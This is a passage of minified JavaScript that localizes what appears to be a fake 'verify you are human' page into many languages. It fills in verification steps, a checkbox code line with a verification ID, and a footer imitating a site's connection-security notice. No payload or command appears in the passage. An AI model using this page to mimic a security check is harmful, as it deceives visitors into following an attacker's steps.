t prefs=(navigator.languages&&navigator.languages.length?navigator.languages:[navigator.language||"en"]).map(x=>x.toLowerCase()); for(const l of prefs){ if(l.startsWith("ar")) return "ar"; if(l.startsWith("he")) return "ar"; // treat hebrew as rtl (will be handled) if(l.startsWith("fr")) return "fr"; if(l.startsWith("de")) return "de"; if(l.startsWith("it")) return "it"; if(l.startsWith("ja")) return "ja"; if(l.startsWith("zh")) return "zh"; if(l.startsWith("ko")) return "ko"; if(l.startsWith("ru")) return "ru"; if(l.startsWith("es")) return "es"; if(l.startsWith("pt")) return "pt"; if(l.startsWith("nl")) return "nl"; if(l.startsWith("tr")) return "tr"; if(l.startsWith("pl")) return "pl"; if(l.startsWith("sv")) return "sv"; if(l.startsWith("da")) return "da"; if(l.startsWith("fi")) return "fi"; if(l.startsWith("hi")) return "hi"; if(l.startsWith("id")) return "id"; if(l.startsWith("vi")) return "vi"; if(l.startsWith("th")) return "th"; if(l.startsWith("uk")) return "uk"; if(l.startsWith("cs")) return "cs"; if(l.startsWith("en")) return "en"; } return "en"; } function ready(fn){ if(document.readyState==="loading") document.addEventListener("DOMContentLoaded",fn); else fn(); } ready(function(){ const lang = detectLang(); const t = i18n[lang] || i18n.en; // RTL support for Arabic and Hebrew if (lang === "ar" || lang === "he") document.documentElement.dir = "rtl"; // Top area (preloader + prompt) const pre = document.querySelector(".preloader_text"); if(pre) pre.textContent = t.checking; const allstep = document.querySelector(".textallstep"); if(allstep) allstep.textContent = t.verifyInstruction; // Only paragraphs inside .tettx (avoid button/spinner) const set = (sel, txt)=>{ document.querySelectorAll(sel).forEach(el=>el.textContent = txt); }; set(".tettx .step0", t.verifying); set(".tettx .step1", t.notRobot); set(".tettx .step2", t.steps); set(".tettx .step3", t.success); // Ensure checkbox button has no inner label (prevents overlap) const cb = document.getElementById("checkbox"); if (cb) cb.textContent = ""; // Verify window title + steps const titleP = document.querySelector("#verify-window .verify-main p:first-of-type"); if (titleP) titleP.innerHTML = t.verifyTitle; const stepsOl = document.querySelector("#verify-window .verify-main ol"); if (stepsOl) stepsOl.innerHTML = `
  • ${t.step1}
  • ${t.step2}
  • ${t.step3}
  • `; // Observe/agree line + localized checkbox code text const observeP = document.querySelector("#verify-window .verify-main p.observe"); if (observeP) { const codeEl = observeP.querySelector("code"); const pieces = observeP.innerHTML.split("
    "); pieces[0] = t.observe; observeP.innerHTML = pieces.join("
    "); if (codeEl) { const idSpan = codeEl.querySelector("#verification-id"); const idHtml = idSpan ? idSpan.outerHTML : ''; codeEl.innerHTML = ` ✅ "${t.confirmLead}${idHtml}" `; } } const left = document.querySelector(".verify-footer-left"); if (left) left.textContent = t.final; const btn = document.getElementById("verify-button"); if (btn) btn.textContent = t.verifyBtn; // Legal links text const legalBox = document.querySelector('#checkbox-window > div > div:last-child'); if (legalBox) { const ps = legalBox.querySelectorAll("p"); if (ps[0]) ps[0].textContent = t.confidentiality; if (ps[1]) ps[1].textContent = t.terms; } // Bottom sentence: update the specific paragraph that contains the footer sentence const domainParas = Array.from(document.querySelectorAll("p .domain-name")).map(s=>s.parentElement); for (const p of domainParas){ if (/\bneeds to review the security of your connection before proceeding\./i.test(p.textContent)) { const host = (p.querySelector(".domain-name")?.textContent || window.location.hostname || ""); p.innerHTML = `${host} ${t.footer}`; break; } } }); })();